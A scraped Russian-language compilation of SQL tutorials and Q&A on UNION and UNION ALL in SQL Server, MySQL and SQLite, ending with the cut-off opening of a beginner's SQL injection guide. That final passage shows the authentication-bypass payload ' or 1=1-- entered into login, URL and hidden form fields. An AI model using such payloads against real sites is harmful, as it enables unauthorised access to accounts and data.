Mssql union: 404 — Содержимое не найдено

Содержание

Объединение UNION и UNION ALL в SQL – описание и примеры | Info-Comp.ru

Пришло время поговорить об объединении данных по средствам конструкции union и union all, так как это иногда бывает очень полезно, и без использования такой конструкции бывает порой не обойтись. Примеры будем писать в СУБД MSSQL 2008, используя язык SQL.

И начать хотелось бы с того, что мы с Вами уже рассматривали много примеров написания запросов на SQL, например, оператор select языка SQL, или использование строковых функций SQL, также рассматривали программирование как на plpgsql так и на transact-sql, например, Как написать функцию на PL/pgSQL и Transact-sql – Табличные функции и временные таблицы соответственно.

Я не просто так указал вышеперечисленные статьи, а указал я их, потому, что для более лучшего понимания и усвоения сегодняшнего урока, необходимо начальные знания (это сайт для начинающих программистов), которые как раз Вы можете получить из вышеупомянутого материала.

И так приступим. И для начала давайте рассмотрим, что же это за операторы union и union all.

Заметка! Профессиональный видеокурс по T-SQL для начинающих.

Что такое UNION и UNION ALL в SQL?

  • UNION – это оператор SQL для объединения результирующего набора данных нескольких запросов, и данный оператор выводит только уникальные строки в запросах, т.е. например, Вы объединяете два запроса и в каждом из которых есть одинаковые данные, другими словами полностью идентичные, и оператор union объединит их в одну строку для того чтобы не было дублей;
  • UNION ALL – это оператор SQL для объединения результирующего набора данных нескольких запросов, а вот данный оператор, выведет уже абсолютно все строки, даже дубли.

Необходимые условия для операторов union и union all

  1. Набор полей должен быть одинаковый во всех запросах, т.е. количество полей в каждом  запросе, который будет объединяться по средствам конструкции union или union all, должно быть одинаковое;
  2. Типы данных полей также должны совпадать в каждом запросе, т.е. например, если Вы захотите написать один запрос, в котором будет тип данных int а во втором запросе тип данных varchar то у Вас запрос не выполнится а окно запроса выведет ошибку;
  3. В случае сортировки оператор order by можно указать только после последнего запроса.

Теперь давайте поговорим о том, в каких случаях нам может понадобиться использование этих операторов. Ну, например,  у Вас есть несколько баз со схожей структурой, каждая из которых создана, например, для какого-нибудь филиала, а Вам необходимо объединить эти данные для предоставления отчетности по всем филиалам руководству и самое простое как это можно сделать, это написать запросы на SQL, каждый из которых будет обращаться к разным базам, и через конструкцию union или union all объединить их. Также иногда бывает необходимо объединить данные в одной базе таким образом, что обычными объединениями это не реализовать и приходится использовать union. Почему я говорю «приходится» да потому что данная конструкция значительно увеличивает время выполнения запроса, если например данных очень много, и злоупотреблять ею не нужно.

Хватит теории, переходим к практике.

Примечание! Как уже говорилось, запросы будем писать в Management Studio для SQL Server 2008

Примеры использования union и union all

Для начала создадим две простых таблицы test_table и test_table_2

CREATE TABLE [test_table](
        [id] [bigint] IDENTITY(1,1) NOT NULL,
        [number] [numeric](18, 0) NULL,
        [text] [varchar](50) NULL,
 CONSTRAINT [PK_test_table] PRIMARY KEY CLUSTERED 
(
        [id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, 
ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

SET ANSI_PADDING OFF
GO
--и вторая таблица
CREATE TABLE [test_table_2](
        [id] [bigint] IDENTITY(1,1) NOT NULL,
        [number] [numeric](18, 0) NULL,
        [text] [varchar](50) NULL,
 CONSTRAINT [PK_test_table_2] PRIMARY KEY CLUSTERED 
(
        [id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, 
ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

SET ANSI_PADDING OFF
GO

Они одинаковые для примера, только разные названия. Я заполнил их вот такими данными:

Теперь давайте напишем запрос, который объединит результирующие данные в одни, например через union. Синтаксис очень прост:

Запрос 1
 union
Запрос 2
 union
Запрос 3
 и т.д.

Вот запрос:

select number, text from test_table
 union
select number, text from test_table_2

Как Вы видите, вывелось всего 5 строк, так как у нас первая строка в первом запросе и первая строка во втором запросе одинаковые, поэтому они объединились.

Теперь давайте объединим  через union all


Вот запрос:

select number, text from test_table
 union all
select number, text from test_table_2

Здесь уже вывелись все строки, так как мы указали union all.

А теперь давайте рассмотрим, какие могут быть ошибки даже в этом простом запросе. Например, мы перепутали последовательность полей:

Или мы в первом запросе указали дополнительное поле, а во втором этого не сделали.

Также, например, при использовании order by:

Здесь мы указали сортировку в каждом запросе, а нужно было только в последнем, например:

select number, text from test_table 
 union all
select number, text from test_table_2 
order by number

И напоследок, хотел рассказать об одной хитрости, которую можно использовать тогда когда, например, все-таки необходимо вывести в одном запросе какое-то поле, а в других его нет или просто оно не нужно, для этого можете написать вот такой запрос:

select id ,number, text from test_table 
 union all
select '', number, text from test_table_2

т.е. как Вы видите просто там, где должно быть поле ставить пусто и запрос отлично отработает, например:

И еще один небольшой совет, так как запросы при объединении через union довольно обширные, то лучше на их основе создать представление (Views), в случае если данный запрос Вам требуется постоянно, и уже к этому представлению обращаться каждый раз, когда требуется, а зачем нужны представления мы с Вами уже рассматривали вот здесь – Что такое представления и зачем они нужны.

Наверное, все, что я хотел рассказать о конструкции union и union all языка  SQL я рассказал, если есть вопросы по использованию этих операторов, задавайте их в комментариях. Удачи!

Заметка! Для комплексного изучения языка T-SQL рекомендую посмотреть мои видеокурсы по T-SQL, в которых используется последовательная методика обучения и рассматриваются все конструкции языка SQL и T-SQL.

Нравится18Не нравится4

SQL UNION — оператор для объединения результатов запросов

Оглавление
Связанные темы


Оператор языка SQL UNION предназначен для объединения результирующих таблиц базы данных, полученных
с применением слова SELECT. Условие объединения результирующих таблиц: совпадение числа, порядка
следования и типа данных столбцов. ORDER BY следует применять к результату объединения и размещать только в конце составного запроса.
Оператор UNION имеет следующий синтаксис:


SELECT ИМЕНА_СТОЛБЦОВ (1..N)
FROM ИМЯ_ТАБЛИЦЫ
UNION
SELECT ИМЕНА_СТОЛБЦОВ (1..N)
FROM ИМЯ_ТАБЛИЦЫ


В этой конструкции объединяемые запросы могут иметь условия в секции WHERE, а могут не иметь их.
При помощи оператора UNION можно объединить запросы на извлечение данных как из одной таблицы, так и
из разных.


При использовании оператора UNION без слова ALL результат не содержит дубликатов, а со словом ALL —
содержит дубликаты.


Одним запросом можно вывести из таблицы индивидуальные значения столбцов, например, число лет, проработанных
сотрудниками фирмы, размеры их заработной платы и другие. Другим запросом — с использованием
агрегатных функций — можно получить,
например, сумму заработных плат, получаемых сотрудниками отделов или занимающих те или иные должности, или
среднее число лет трудового стажа
(в таких запросах применяется группировка с помощью оператора GROUP BY).


А если нам требуется получить в одной таблице и сводку всех индивидуальных значений, и итоговые значения?
Здесь на помощь приходит оператор SQL UNION, с помощью которого два запроса объединяются. К результату
объединения требуется применить упорядочение, используя оператор ORDER BY. Для чего это необходимо,
будет лучше понятно из примеров.


Если вы хотите выполнить запросы к базе данных из этого урока на MS SQL Server, но эта СУБД
не установлена на вашем компьютере, то ее можно установить, пользуясь инструкцией по этой ссылке
.

Пример 1. В базе данных фирмы есть таблица Staff, содержащая
данные о сотрудниках фирмы. В ней есть столбцы
Salary (размер заработной платы), Job (должность) и Years (длительность трудового стажа).
Первый запрос возвращает индивидуальные размеры заработной платы, упорядоченные по должностям:


SELECT Name, Job, Salary
FROM STAFF ORDER BY Job

Результатом выполнения запроса будет следующая таблица:







NameJobSalary
SandersMgr18357.5
MarenghiMgr17506.8
PernalSales18171.2
DoctorSales12322.4
FactorSales16228.7

Второй запрос вернёт суммарную заработную плату по должностям. Мы уже готовим этот запрос
для соединения с первым, поэтому будем помнить, что условием соединения является равное число столбцов,
совпадение их названий, порядка следования и типов данных. Поэтому включаем в таблицу с итогами также
столбец Name с произвольным значением ‘Z-TOTAL’:


SELECT ‘Z-TOTAL’ AS Name, Job, SUM(Salary) AS Salary
FROM STAFF GROUP BY Job

Результатом выполнения запроса будет следующая таблица:




NameJobSalary
Z-TOTALMgr35864.3
Z-TOTALSales46722.3

Теперь объединим запросы при помощи оператора UNION и применим оператору ORDER BY
к результату объединения. Группировать следует по двум столбцам: должность (Job) и имя (Name), чтобы
строки с итоговыми (суммарными) значениями, в которых значение имени — ‘Z-TOTAL’, находились ниже строк
с индивидуальными значениями. Объединение результатов запросов будет следующим:


(SELECT Name, Job, Salary
FROM STAFF)
UNION
(SELECT ‘Z-TOTAL’ AS Name,
Job, SUM(Salary) AS Salary
FROM STAFF GROUP BY Job)
ORDER BY Job, Name

Результатом выполнения запроса с оператором UNION будет следующая таблица, в которой
каждая первая строка в каждой группе должностей будет содержать суммарную заработную плату
сотрудников, работающих на этой должности:









NameJobSalary
MarenghiMgr17506.8
SandersMgr18357.5
Z-TOTALMgr35864.3
DoctorSales12322.4
FactorSales16228.7
PernalSales18171.2
Z-TOTALSales46722.3

Написать запросы с использованием UNION самостоятельно, а затем посмотреть решение

Пример 2. Данные — те же, что в примере 1, но задача немного
посложнее. Требуется вывести в одной таблице не только индивидуальные размеры заработной платы,
упорядоченные по должностям и суммарную заработную плату по должностям, но суммарную заработную плату
по всем сотрудникам.

Правильное решение.

Пример 3. В базе данных фирмы есть таблица Staff, содержащая
данные о сотрудниках фирмы. В ней есть столбцы
Name (фамилия), Dept (номер отдела), и Years (длительность трудового стажа).







NameDeptYears
Sanders207
Pernal208
Marenghi385
Doctor205
Factor388

Вывести в одной таблице
средний трудовой стаж по отделам и индивидуальные значения длительности трудового стажа сотрудников,
сгруппированных по номерам отделов.

Правильное решение.

Пример 4. В базе данных фирмы есть таблица Staff, содержащая
данные о сотрудниках фирмы. В ней есть столбцы
Salary (размер заработной платы), Job (должность) и Years (длительность трудового стажа).
Первый запрос нужен для получения данных о сотрудниках, заработная плата которых более 21000:


SELECT ID, Name
FROM STAFF WHERE SALARY > 21000

Результатом выполнения запроса будет следующая таблица:





IDName
140Fraye
160Molinare
260Jones

Второй запрос возвращает имена сотрудников, должность которых «менеждер», а число
лет трудового стажа — менее 8:


SELECT ID, Name
FROM STAFF WHERE Job = ‘Mgr’ AND Years ORDER BY ID

Результатом выполнения запроса будет следующая таблица:








IDName
10Sanders
30Marenghi
100Plotz
140Fraye
160Molinare
240Daniels

Теперь требуются данные, в которых объединены критерии отбора, применённые в двух
запросах. Объединяем запросы при помощи оператора UNION:


SELECT ID, Name
FROM STAFF WHERE SALARY > 21000
UNION
SELECT ID, Name
FROM STAFF WHERE Job = ‘Mgr’ AND Years ORDER BY ID

Результатом выполнения запроса с оператором UNION будет следующая таблица:









IDName
10Sanders
30Marenghi
100Plotz
140Fraye
160Molinare
240Daniels
260Jones


Запрос с оператором UNION может возвращать и большее количество столбцов, важно, повторимся, чтобы в объединяемых
запросах число столбцов,
порядок их следования и типы данных совпадали.

Теперь работаем с базой данных «Портал объявлений — 1». Скрипт для создания этой базы данных, её таблицы и заполения таблицы данных —
в файле по этой ссылке

Пример 5. Есть база данных портала объявлений.

Пусть сначала требуется получить данные о категориях и частях категорий объявлений,
в которых подано более 100 объявлений в неделю. Пишем следующий запрос:


SELECT Category, Part, Units, Money
FROM ADS WHERE Units > 100

Результатом выполнения запроса будет следующая таблица:








CategoryPartUnitsMoney
ТранспортАвтомашины11017600
ТранспортМотоциклы13120960
ЭлектротехникаТелевизоры1278255
ЭлектротехникаХолодильники1378905
СтройматериалыРегипс11211760
ДосугМузыка1177605

Теперь требуется извлечь данные о категориях и частях категорий объявлений, за
которые выручено более 10000 денежных единиц в неделю. Пишем следующий запрос:


SELECT Category, Part, Units, Money
FROM ADS WHERE Money > 10000


Результатом выполнения запроса будет следующая таблица:







CategoryPartUnitsMoney
ТранспортАвтомашины11017600
НедвижимостьКвартиры8918690
НедвижимостьДачи5711970
ТранспортМотоциклы13120960
СтройматериалыРегипс11211760


Теперь требуется извлечь данные, которые соответствуют критериям и первого, и второго запросов.
Объединяем запросы при помощи оператора UNION:


SELECT Category, Part, Units, Money
FROM ADS WHERE Units > 100
UNION
SELECT Category, Part, Units, Money
FROM ADS WHERE Money > 10000


Результатом выполнения запроса будет следующая таблица:









ТранспортАвтомашины11017600
ТранспортМотоциклы13120960
НедвижимостьКвартиры8918690
НедвижимостьДачи5711970
ЭлектротехникаТелевизоры1278255
ЭлектротехникаХолодильники1378905
СтройматериалыРегипс11211760
ДосугМузыка1177605

Примеры запросов к базе данных «Портал объявлений-1» есть также в уроках об
операторах INSERT, UPDATE, DELETE, HAVING.


До сих пор мы рассматривали запросы с оператором UNION, в которых объединялись результаты из одной таблицы.
Теперь будем объединять результаты из двух таблиц.

Пример 6. Есть база данных склада строительных материалов. В ней
есть таблицы, содержащая данные об обоях. Таблица Vinil содержит данные о виниловых обоях, таблица Paper —
о бумажных обоях. Требуется узнать данные о ценах обоев из одной и другой таблицы.

Чтобы извлечь не повторяющиеся данные о ценах на виниловые обои, составим запрос со
словом DISTINCT:


SELECT DISTINCT Price FROM VINIL

Результатом выполнения запроса будет следующая таблица:









Price
400
500
530
610
720
800
850

Чтобы извлечь не повторяющиеся данные о ценах на бумажные обои, составим следующий
запрос, также со словом DISTINCT:


SELECT DISTINCT Price FROM PAPER

Результатом выполнения запроса будет следующая таблица:









Price
300
320
360
400
430
500
530

Теперь составим объединённый запрос с оператором UNION:


SELECT DISTINCT Price FROM VINIL
UNION
SELECT DISTINCT Price FROM PAPER

Так как мы не используем
слово ALL, дубликаты значений 400, 500 и 530 выводиться не будут. Результатом выполнения запроса будет
следующая таблица:













Price
300
320
360
400
430
500
530
610
720
800
850

Пример 7. База данных и таблицы —
те же, что и в предыдущем примере.

Требуется получить все данные о ценах, в том числе повторяющиеся. Запрос на объединение
результатов с использованием оператора UNION будет аналогичен запросу в предыдущем примере, но вместо
просто UNION пишем UNION ALL:


SELECT DISTINCT Price FROM VINIL
UNION ALL
SELECT DISTINCT Price FROM PAPER

Результатом выполнения запроса будет следующая таблица:
















Price
300
320
360
400
400
430
500
500
530
530
610
720
800
850

При помощи оператора SQL UNION можно объединить как простые запросы, так и запросы,
содержащие подзапросы (вложенные запросы)
. Рассмотрим соответствующий пример.

Пример 8. Есть база данных «Театр». В её таблице Play содержатся
данные о постановках (названия — в столбце Name), в таблице Director — даные о режиссёрах (в столбце
Fname — имя, в столбце Lname — фамилия). Первичный ключ таблицы Director — dir_id — идентификационный
номер режиссёра. Dir_id также — внешний ключ таблицы Play, он ссылается на первичный ключ таблицы Director.
Требуется вывести спектакли режиссеров John Barton и Trevor Nunn.

Решение. Объединим результаты двух запросов — один возвращает спектакли режиссёра
John Barton, другой — режиссёра Trevor Nunn. А каждый из этих объединяемых запросов к таблице Play делаем
с подзапросом к таблице Director, который возвращает dir_id по имени и фамилии режиссёра. Каждый внешний запрос
принимает из вложенного запроса значение ключа dir_id и возвращает названия постановок (Name):


SELECT NAME FROM PLAY WHERE dir_id = (SELECT dir_id FROM DIRECTOR WHERE
fname = ‘John’ AND lname = ‘Barton’)
UNION
SELECT NAME FROM PLAY WHERE dir_id = (SELECT dir_id FROM DIRECTOR WHERE
fname = ‘Trevor’ AND lname = ‘Nunn’)

Поделиться с друзьями

Использование Union вместо OR / Хабр

Иногда медленные запросы можно исправить, немного изменив запрос. Один из таких примеров может быть проиллюстрирован, когда несколько значений сравниваются в предложении WHERE с помощью оператора OR или IN. Часто OR может вызывать сканирование индекса или таблицы, которая может не быть предпочтительным планом выполнения с точки зрения потребления ввода-вывода или общей скорости запросов.

Многие переменные вступают в игру, когда оптимизатор запросов создает план выполнения. Эти переменные включают в себя множество характеристик оборудования, настроек экземпляра, настроек базы данных, статистики (таблица, индекс, auto-generated), а также способ написания запроса. Здесь мы меняем способ написания запроса. Каким бы неожиданным это ни казалось, даже если два разных запроса могут возвращать одни и те же результаты, путь, по которому они идут, может быть совершенно разным в зависимости от формата запроса.

UNION vs OR

В большей части моего опыта работы с SQL Server, OR обычно менее эффективен, чем UNION. То, что обычно происходит с OR, это то, что он чаще вызывает сканирование. Это порой может быть лучший путь для некоторых случаев, и я оставлю это отдельной статье, но в целом я обнаружил, что когда затрагивается большое количество записей — это является основной причиной медлительности. Итак, давайте начнем наше сравнение.

Вот наш оператор OR:

SELECT SalesOrderID, *
FROM sales.SalesOrderDetail
WHERE ProductID = 750 OR ProductID = 953

Из этого плана выполнения мы видим, что мы выполняем сканирование 121 000 строк. (Вы не можете видеть количество строк, но это так).

Теперь выполним тот же запрос, но написанный с использованием UNION вместо OR:

SELECT [SalesOrderID], *
FROM sales.SalesOrderDetail
WHERE ProductID = 750
UNION
SELECT [SalesOrderID], *
FROM sales.SalesOrderDetail
WHERE ProductID = 953

Здесь мы видим две ветви операций. Одна ветвь затрагивает 358 строк, а другая — 346 строк. Обе ветви встречаются для выполнения операции конкатенации, объединяющей оба набора результатов. У нас есть два отдельных поиска, но у нас также есть поиск ключей для получения необходимого списка SELECT. Это не было необходимо для операции сканирования, потому что мы все равно затрагивали все строки в операции сканирования, таким образом, данные были получены во время сканирования, а не после. Это связано с индексом и нужными нам строками, а не с UNION или OR. Однако я скажу, что выборка (select) также является фактором выбора поиска против сканирования (seek vs scan), но мы проигнорируем это в этой статье.

Объяснение

Почему UNION вызывает больше поисков вместо сканирований, потому что каждая операция должна удовлетворять определенному требованию селективности, чтобы претендовать на поиск. (Селективность — это уникальность конкретного фильтруемого столбца). OR происходит в одной операции, так что, когда селективность для каждого столбца объединяется и она превышает определенный процент, то сканирование считается более эффективным.

Поскольку UNION по умолчанию выполняет отдельную операцию для каждого оператора, селективность каждого столбца не объединяется, давая ему больше шансов на выполнение поиска. Теперь, поскольку UNION выполняет две операции, они должны сопоставить свои результирующие наборы, используя вышеописанную операцию конкатенации. Как правило, это не дорогостоящая операция.

Следует также отметить, что предложение OR работает так же, как оператор IN.

Надеюсь, этот совет поможет. Я считаю, что это очень ценно при работе с системами, требующими высокого параллелизма.

Объединение ORDER BY и UNION в SQL Server

Как я могу получить первую запись таблицы и последнюю запись таблицы в одном результирующем наборе?

Этот запрос не выполняется

SELECT TOP 1 Id,Name FROM Locations ORDER BY Id
UNION ALL
SELECT TOP 1 Id,Name FROM Locations ORDER BY Id DESC

Кто-нибудь поможет?

sql

sql-server

sql-order-by

union-all

Поделиться

Источник


Faizal Balsania    

05 апреля 2011 в 11:27

4 ответа


  • Неправильное использование UNION и ORDER BY?

    как я могу использовать union и order by в mysql ? select * from _member_facebook inner join _member_pts ON _member_facebook._fb_owner=_member_pts._username where _member_facebook._promote_point = 9 ORDER BY RAND() limit 2 UNION ALL select * from _member_facebook inner join _member_pts ON…

  • SQL Server: ORDER BY в подзапросе с UNION

    у меня есть два запроса, которые объединяются с UNION ALL 1 : —Query 1 SELECT Flavor, Color FROM Friends   —Query 2 SELECT Flavor, (SELECT TOP 1 Color FROM Rainbows WHERE Rainbows.StrangerID = Strangers.StrangerID ORDER BY Wavelength DESC ) AS Color FROM Strangers Оба из которых, конечно,…



74

Поместите ваши операторы order by и top в подзапросы:

select first.Id, first.Name 
from (
    select top 1 * 
    from Locations 
    order by Id) first
union all
select last.Id, last.Name 
from (
    select top 1 * 
    from Locations 
    order by Id desc) last

Поделиться


Keith    

05 апреля 2011 в 11:34



10

select * from (
SELECT TOP 1 Id,Name FROM Locations ORDER BY Id) X
UNION ALL
SELECT TOP 1 Id,Name FROM Locations ORDER BY Id DESC

Поделиться


RichardTheKiwi    

05 апреля 2011 в 11:30



8

Если вы работаете над SQL Server 2005 или более поздней версией:

; WITH NumberedRows as (
    SELECT Id,Name,
       ROW_NUMBER() OVER (ORDER BY Id) as rnAsc,
       ROW_NUMBER() OVER (ORDER BY Id desc) as rnDesc
    FROM
        Locations
)
select * from NumberedRows where rnAsc = 1 or rnDesc = 1

Единственное место, где это не будет похоже на ваш исходный запрос, — это если в таблице есть только одна строка (в этом случае мой ответ возвращает одну строку, в то время как ваш вернет одну и ту же строку дважды)

Поделиться


Damien_The_Unbeliever    

05 апреля 2011 в 12:24



5

SELECT TOP 1 Id as sameColumn,Name FROM Locations 
UNION ALL
SELECT TOP 1 Id as sameColumn,Name FROM Locations ORDER BY sameColumn DESC

Поделиться


Siddappa Walake    

01 августа 2017 в 06:47


Похожие вопросы:

В чем сложность с ORDER BY и UNION в MS Sql Server?

В чем трудность с ORDER BY ? UNION здесь не поддерживает. Показ Неправильный синтаксис рядом с ключевым словом ‘union’. Select Top2 * from(SELECT * FROM xxx WHERE ID > 0) as X where ID > z…

Объединение UNION ALL и ORDER BY в Firebird

Это моя первая попытка ответить на свой собственный вопрос, так как кто-то вполне может столкнуться с этим, и поэтому это может быть полезно. Используя Firebird, я хочу объединить результаты двух…

SQL запрос: Order by in UNION

У меня есть небольшая проблема с SQL Server 2005 (Express edition) с запросом UNION. У меня есть эта таблица заказов со следующими столбцами: OrdNr, Prio Теперь я хочу заказать по заказам 2…

Неправильное использование UNION и ORDER BY?

как я могу использовать union и order by в mysql ? select * from _member_facebook inner join _member_pts ON _member_facebook._fb_owner=_member_pts._username where _member_facebook._promote_point = 9…

SQL Server: ORDER BY в подзапросе с UNION

у меня есть два запроса, которые объединяются с UNION ALL 1 : —Query 1 SELECT Flavor, Color FROM Friends   —Query 2 SELECT Flavor, (SELECT TOP 1 Color FROM Rainbows WHERE Rainbows.StrangerID…

Выберите Top (некоторое число) с помощью UNION ALL и ORDER BY

Я пытаюсь вернуть пять лучших экземпляров определенных записей, загруженных в таблицу. Важно отметить, что я пытаюсь получить свои результаты из одной и той же таблицы, и я думаю, что есть проблема,…

Как использовать order by with union all in sql?

Я попробовал запрос sql, приведенный ниже: SELECT * FROM (SELECT * FROM TABLE_A ORDER BY COLUMN_1)DUMMY_TABLE UNION ALL SELECT * FROM TABLE_B Это приводит к следующей ошибке: Предложение ORDER BY…

SQL запрос: объединение с предложением order by

У меня есть небольшая проблема с SQL Server 2012 с запросом UNION. У меня есть следующий простой оператор select, но он не возвращает данные по порядку в соответствии со столбцом sl_no SELECT * FROM…

Ошибка предложения GROUP BY в предложении SELECT UNION ALL ORDER BY query

Я пытаюсь отсортировать таблицу после объединения всех в SQL SERVER Я прочитал в нескольких местах (здесь, например: как использовать order by with union all in sql? ), что мне нужно написать :…

Gridgain SQL запрос не работает с union all и order by

SELECT a, b FROM table1.table1 table1 ORDER BY a DESC UNION ALL SELECT a, b FROM table1.table1 table1 ORDER BY a ASC Этот запрос не работает. Индивидуально, объединение всех работ и порядок работ,…

РАЗНИЦА МЕЖДУ UNION И UNION ALL В SQL SERVER | СРАВНИТЕ РАЗНИЦУ МЕЖДУ ПОХОЖИМИ ТЕРМИНАМИ — ТЕХНОЛОГИЯ

В ключевое отличие между объединением и объединением все в QL-сервере заключается в том, что union дает результирующий набор данных без повторяющихся строк, а union all дает результирующий набор данны

В ключевое отличие между объединением и объединением все в SQL-сервере заключается в том, что union дает результирующий набор данных без повторяющихся строк, а union all дает результирующий набор данных с повторяющимися строками.

СУБД — это программное обеспечение для создания и управления базами данных. База данных состоит из множества таблиц, которые связаны друг с другом. СУБД помогает выполнять такие операции, как создание баз данных, создание таблиц, вставка и обновление данных и многое другое. Кроме того, он защищает данные и снижает избыточность данных для обеспечения согласованности данных. SQL-сервер — одна из таких СУБД. Язык структурированных запросов (SQL) — это язык для управления данными в СУБД. Объединение и объединение — это две команды в SQL, которые помогают выполнять операции над данными таблицы.

1. Обзор и основные отличия
2. Что такое Union в SQL Server
3. Что такое Union All в SQL Server
4. Параллельное сравнение — Union vs Union All в SQL Server в табличной форме
5. Резюме

Что такое Union в SQL Server?

Иногда возникает необходимость в выполнении заданных операций в SQL. Союз — один из них.

Union объединяет результаты двух или более операторов select. После этого он вернет результат без повторяющихся строк. Для выполнения этой операции в таблицах должно быть одинаковое количество столбцов и одинаковые типы данных. См. Две таблицы ниже.

Первая таблица — s1, вторая — s2. Оператор SQL для выполнения объединения выглядит следующим образом.

выберите * из s1

союз

выберите * из s2;

Он предоставит следующий набор результатов.

Это дает результирующую таблицу без повторяющихся строк.

Что такое Union All в SQL Server?

Union all — это еще одна команда SQL для выполнения операций над наборами. Подобно Union, это также объединит результаты двух или более операторов select. Также необходимо иметь одинаковое количество столбцов и одинаковые типы данных для таблиц, к которым применяется объединение всех операций. См. Две таблицы ниже.

Как и раньше, первая таблица — это s1, а вторая таблица — это s2. Заявление о выполнении union all выглядит следующим образом.

выберите * из s1

объединить все

выберите * из s2;

Он предоставит следующий набор результатов.

Это дает результирующую таблицу с повторяющимися строками.

В чем разница между Union и Union All в SQL Server?

Union — это команда SQL, которая объединяет результаты двух или более операторов select без возврата повторяющихся строк. Union All — это команда SQL, которая объединяет результат двух или более операторов select, включая повторяющиеся строки. Это ключевое различие между union и union all в SQL-сервере. Другими словами, объединение дает результирующий набор данных без повторяющихся строк. С другой стороны, union all дает результирующий набор данных с повторяющимися строками.

Резюме — Union vs Union All в SQL Server

В этой статье обсуждались две команды SQL, связанные с операциями над множеством, а именно объединение и объединение всех. Разница между union и union all SQL server заключается в том, что union дает результирующий набор данных без повторяющихся строк, а union all дает результирующий набор данных с повторяющимися строками. Сервер SQL выполняет операторы с этими командами SQL.

mysql — Попытка получить DISTINCT значения 3 столбцов в sqlite db

ТАК У меня есть таблица с 3 столбцами:

Col1   Col2   Col3
 a       b     c
 b       c    null
 a      null   b
 c       d     a

И мой желаемый результат будет:

a,b,c,d,null

Я надеюсь, что вывод будет в виде одной строки, если это возможно.

Я пытался:

SELECT DISTINCT col1, col2, col3 FROM table

И не получил желаемых результатов. Любые идеи?

0

eciusr

18 Янв 2013 в 02:00

4 ответа

Лучший ответ

SELECT Col1
FROM table
UNION
SELECT Col2
FROM table
UNION
SELECT Col3
FROM table

1

Dale M
17 Янв 2013 в 22:04

Если вы используете MySql, вы можете использовать это решение:

select group_concat(coalesce(c,'null') order by c is null, c)
from (
  select col1 c from tbl
  union
  select col2 c from tbl
  union
  select col3 c from tbl
) u

Запрос Union выбирает все значения, удаляя все дубликаты. Затем я возвращаю результат в виде одной строки, упорядоченной по значению с нулевым значением в конце, и конвертирую null в «null» (поскольку group_concat игнорирует значения NULL).

Если вы используете SQLite, Group_Concat не поддерживает порядок по, и вы можете использовать это:

select group_concat(coalesce(c,'null'))
from (
  select col1 c, col1 is null o from mytable
  union
  select col2 c, col2 is null o from mytable
  union
  select col3 c, col3 is null o from mytable
  order by o, c
) u

0

fthiella
17 Янв 2013 в 22:28

Работает ли это в sqlite:

select col1 from table 
union
select col2 from table
union 
select coll3 from table

Или же:

select col1 from table where col1 is not null
union
select col2 from table where col2 is not null
union 
select coll3 from table where col3 is not null

Чтобы исключить нули.

Обратите внимание, я не думаю, что это будет быстро выполнить, но я знаю, что в mssql union результаты будут отличаться

1

17 Янв 2013 в 22:12

Однострочное решение (см. sqlfiddle):

SELECT  GROUP_CONCAT(COALESCE(c, 'NULL'), ',')
FROM    (
        SELECT  col1 c
        FROM    mytable
        UNION
        SELECT  col2 c
        FROM    mytable
        UNION
        SELECT  col3 c
        FROM    mytable
        ) q

2

Quassnoi
17 Янв 2013 в 22:10

SQL Injection для чайников, взлом ASP+MSSQL

Эта статья не содержит никаких новых истин, SQL injection широко описан и
повсеместно используется. Статья больше предназначена для новичков, но, быть
может, и профессионалы смогут найти одну-две новые уловки.

Эта статья предназначена для того, чтобы помочь новичкам справиться с
проблемами, с которыми они могут столкнуться при использовании техники SQL
Injection, успешно использовать ее и уметь защитить себя от подобных нападений.


Введение


Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей
не может сообщить ничего интересного, и вы знаете, что системный
администратор всегда очень оперативно устанавливает все заплаты на web-сервер,
последним нашим шансом остается web-взлом. SQL injection — один из типов
web-взлома, которые используют только 80 порт, и может сработать, даже при
своевременно установленных заплатах. Это нападение более направлено на
web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на
web-сервер или сервисы в ОС.


Эта статья не содержит никаких новых истин, SQL injection широко описан и
повсеместно используется. Статья больше предназначена для новичков, но, быть
может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую
просмотреть приведенные в конце статьи ссылки для получения более подробной
информации от специалистов в данной области.


1.1 Что такое SQL Injection?


SQL Injection — метод, предназначенный для введения SQL запросов/команд через
web-страницы. Многие web-страницы используют параметры, представленные Web
пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином
пользователя, когда имеется web-страница c именем и
паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL
Injection можно послать придуманное имя пользователя и/или поле пароля,
изменяющее SQL запрос, что может предоставить нам кое-что интересное.

 2.0 Что мы должны искать


Попробуйте найти страницы, которые запрашивают у вас данные, например страница
поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы
послать команды другой Web странице. В этом случае вы не увидите параметры в URL.
Однако в этом случае вы можете искать тэг «FORM» в исходном коде HTML страниц.
Вы найдете, что-то типа такого:


<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>


Все параметры между <FORM> и </FORM> потенциально могут быть уязвимы к введению
SQL кода.


2.1 Что если вы не нашли страницу, которая использует ввод?


Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам.
Попробуйте найти страницы, которые используют параметры, подобно:


http://securitylab.ru/?ID=31610


3.0. Как мне проверить что то, что я нашел, уязвимо?


Попробуйте начать с одиночной кавычки. Введите следующую строку:


hi’ or 1=1—


в поле имя пользователя или пароль, или даже в URL параметре. Пример:


Login: hi’ or 1=1—

Pass: hi’ or 1=1—

http://duck/index.asp?id=hi’ or 1=1—


Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните
его на жестком диске, измените URL и скрытое поле соответственно. Пример:


<FORM action=http://duck/Search/search.asp method=post>

<input type=hidden name=A value=»hi’ or 1=1— «>


</FORM>


Если удача на вашей стороне, вы войдете в систему без имени или пароля.


3.1 Но почему ‘ or 1=1—?


